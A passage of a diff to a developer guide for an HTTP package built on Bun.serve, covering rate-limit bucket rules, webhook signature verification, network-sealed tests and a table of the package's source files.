+ `X_RATE_LIMIT_BUCKET_CONFLICT`. **The installed limiter must hold it too** — `RateLimiter.buckets`
170
+ is declared and `assertRouteBuckets` refuses, never rebinds.
171
+
172
+ ## Rules — webhooks and tests
173
+
174
+ - **`verifyWebhookSignature` is a FUNCTION, never a stage**: it reads through core's
175
+ `readWithinLimit` and returns the raw text. The mac is checked BEFORE freshness
176
+ (`X_WEBHOOK_SIGNATURE_STALE` means authentic and old); the window is `Math.abs`; the timestamp is
177
+ digits-only; `:` is refused in id and topic; the comparison is `timingSafeEqual`
178
+ (`bun run secret-compare`). **The FORMAT is core's** (`packages/core/src/webhook-signature.ts`) —
179
+ never re-declared here.
180
+ - Tests must not touch the network — the preload seals `fetch`. Socket tests live in `e2e/` (`bun test
181
+ packages/http/e2e`), sealed; `start()` calls core's `markListening()`. Never unseal.
661
182
 
662
183
  ## Files
663
184
 
@@ -676,7 +197,8 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
676
197
  | `context.ts` | `RequestContext` (core's `Ctx` plus the request's own), composed from `createContext`, the single `Ctx` adapter (`asCtx`) and the inbound-header readers |
677
198
  | `redirect.ts` | the intent slot a handler that cannot return a `Response` fills |
678
199
  | `auth-redirect.ts` | where an unauthenticated browser goes, and where it comes back to |
679
- | `cache-policy.ts` | the default `CacheHint` for a route that declared none — route AND actor |
200
+ | `cache-policy.ts` | the default `CacheHint` for a route that declared none — route AND actor — and the review of a declared one (`reviewedHint`) |
201
+ | `error-log-level.ts` | the level of the `error-map` stage's one line: `error` for 5xx, `warn` for 401/403/429, `info` for the rest |
680
202
  | `route-cache.ts` | the screen a `Route.cache` hint gets where it is DECLARED, thrown from `createRouter`; the response path's `finiteDeltaSeconds` is the total half of the same rule |
681
203
  | `rate-limit.ts` | the token-bucket maths, the store interface, the memory driver and `toBucket` |
682
204
  | `rate-limit-postgres.ts` | the SHARED store: one table, one `insert … on conflict` per take, over a structural `PgExecutor` |
@@ -697,3 +219,5 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
697
219
  bun test packages/http
698
220
  bun run --filter @ultimat3/http typecheck
699
221
  ```
222
+
223
+ Why each rule above is shaped the way it is: [`docs/history/http.md`](../../docs/history/http.md).